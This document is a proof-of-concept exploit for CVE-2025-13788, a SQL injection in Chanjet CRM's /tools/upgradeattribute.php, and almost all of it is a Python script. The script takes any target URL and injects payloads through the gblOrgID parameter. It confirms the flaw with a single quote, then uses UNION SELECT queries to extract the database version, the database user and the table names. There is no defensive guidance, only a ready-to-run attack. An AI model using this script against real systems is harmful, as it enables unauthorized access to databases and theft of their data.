CVE-2025-13788: Chanjet CRM /tools/upgradeattribute.php SQL注入漏洞

import requests import sys # CVE-2025-13788 SQL Injection PoC for Chanjet CRM # Target: /tools/upgradeattribute.php # Parameter: gblOrgID def exploit_sqli(target_url, payload): """ Exploit SQL injection in Chanjet CRM upgradeattribute.php """ params = { 'gblOrgID': payload } try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def test_basic_sqli(target_url): """ Test basic SQL injection with single quote """ print("[*] Testing basic SQL injection...") payload = "'" response = exploit_sqli(target_url, payload) if response and ('error' in response.lower() or 'sql' in response.lower()): print("[+] Basic SQL injection confirmed!") return True return False def extract_db_version(target_url): """ Extract database version using UNION injection """ print("[*] Extracting database version...") payload = "' UNION SELECT @@version-- -" response = exploit_sqli(target_url, payload) if response: print(f"[+] Database version: {response}") return response def extract_db_user(target_url): """ Extract database user using UNION injection """ print("[*] Extracting database user...") payload = "' UNION SELECT user()-- -" response = exploit_sqli(target_url, payload) if response: print(f"[+] Database user: {response}") return response def extract_tables(target_url): """ Extract table names from database """ print("[*] Extracting table names...") payload = "' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()-- -" response = exploit_sqli(target_url, payload) if response: print(f"[+] Tables: {response}") return response if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/tools/upgradeattribute.php") sys.exit(1) target = sys.argv[1] print(f"[*] Target: {target}") print(f"[*] CVE-2025-13788 - Chanjet CRM SQL Injection PoC") # Run tests test_basic_sqli(target) extract_db_version(target) extract_db_user(target) extract_tables(target) print("[*] PoC execution completed")